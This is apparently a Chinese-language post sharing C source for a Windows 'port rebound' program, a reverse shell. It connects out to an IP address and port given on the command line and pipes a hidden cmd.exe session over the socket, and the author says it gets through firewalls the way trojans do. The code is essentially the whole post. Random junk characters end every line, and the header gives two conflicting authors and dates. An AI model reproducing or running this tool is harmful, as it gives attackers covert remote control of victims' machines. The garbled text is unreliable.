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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [)|P-x-<  
s`ly#+!.  
/* ============================== ++-\^'&1  
Rebound port in Windows NT 0n+Wv @/  
By wind,2006/7 U@dztX@u  
===============================*/ r# 5))q-  
#include 3Xaw  
#include _B)LRD+Hj  
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#pragma comment(lib,"wsock32.lib") jQOY\1SR  
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void OutputShell(); mmm025.   
SOCKET sClient; T<06y3sN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Esw#D90q  
w@7NoD=  
void main(int argc,char **argv) KK`P<^8J  
{ Er?Wg09  
WSADATA stWsaData; k2l(!0o|;  
int nRet; CZv.$H"lW  
SOCKADDR_IN stSaiClient,stSaiServer;  ] L4B  
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if(argc != 3) 3!&lio+<  
{ ;=1]h&S  
printf("Useage:\n\rRebound DestIP DestPort\n"); t0p^0   
return; <#JJS}TLk  
} DoAK]zyJA  
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WSAStartup(MAKEWORD(2,2),&stWsaData); wxEFM)zr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A@#9X'C$^  
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stSaiClient.sin_family = AF_INET; "| V{@)!t  
stSaiClient.sin_port = htons(0); _, /m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /o#!9H   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8SK}#44Xz  
{ 0\O*\w?  
printf("Bind Socket Failed!\n"); lq=| =  
return; fD#|C~:=  
} :; \>jxA  
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stSaiServer.sin_family = AF_INET; #>dfP"}&,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gbM#jhQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }OgzSnR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3 <RkUmR  
{ LJDX6]4n  
printf("Connect Error!"); QN:gSS{30  
return; Ks:~Z9r}  
} >up'`K,  
OutputShell(); pXPwn(  
} J6/Mm7R  
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void OutputShell() vU LlAQG  
{ IwhZzw w  
char szBuff[1024]; S',i  
SECURITY_ATTRIBUTES stSecurityAttributes; kxp$Nnk  
OSVERSIONINFO stOsversionInfo; 'CsD[<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q3,`'[ F  
STARTUPINFO stStartupInfo; _@jBz"aq\  
char *szShell; O79;tA<k  
PROCESS_INFORMATION stProcessInformation; F@4XORO;  
unsigned long lBytesRead; KB!.N[!v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fg"@qE-;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .g_B KeU  
stSecurityAttributes.lpSecurityDescriptor = 0; [4sI<aH  
stSecurityAttributes.bInheritHandle = TRUE; K-F@OSK'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5*~Mv<#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); EL $"MT}p  
|^Nz/PN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p"f=[awp  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AYHB?xOpR  
stStartupInfo.wShowWindow = SW_HIDE; FCTz>N^p  
stStartupInfo.hStdInput = hReadPipe; z.n`0`^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Oi+(`  
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GetVersionEx(&stOsversionInfo); :D6"h[7  
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switch(stOsversionInfo.dwPlatformId) /-JBz U$  
{ 1$oVcDLl  
case 1: IE!fNuR4  
szShell = "command.com"; 5"Q3,4f  
break; &hWLG<IE  
default: i"2[OM\j7  
szShell = "cmd.exe"; fBS`b[ x  
break; R?!xO-^t  
} FLdO  
{ve86 POY  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L8n1p5 gx3  
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send(sClient,szMsg,77,0); 7q?u`3l  
while(1) j J6Yz  
{ @sv==|h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wP3_RA]z  
if(lBytesRead) ei'=%r8~  
{ BUB#\v#a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  0 (jb19  
send(sClient,szBuff,lBytesRead,0); 2)]C'  
} x"h0Fe?J  
else :" Q!Q@>  
{ j|gv0SI_ w  
lBytesRead=recv(sClient,szBuff,1024,0); TtEc~m  
if(lBytesRead<=0) break; fI(u-z~,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +N1oOcPC>C  
} ?F'gh4  
} y]Q G;  
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return; '(A)^K>+  
}
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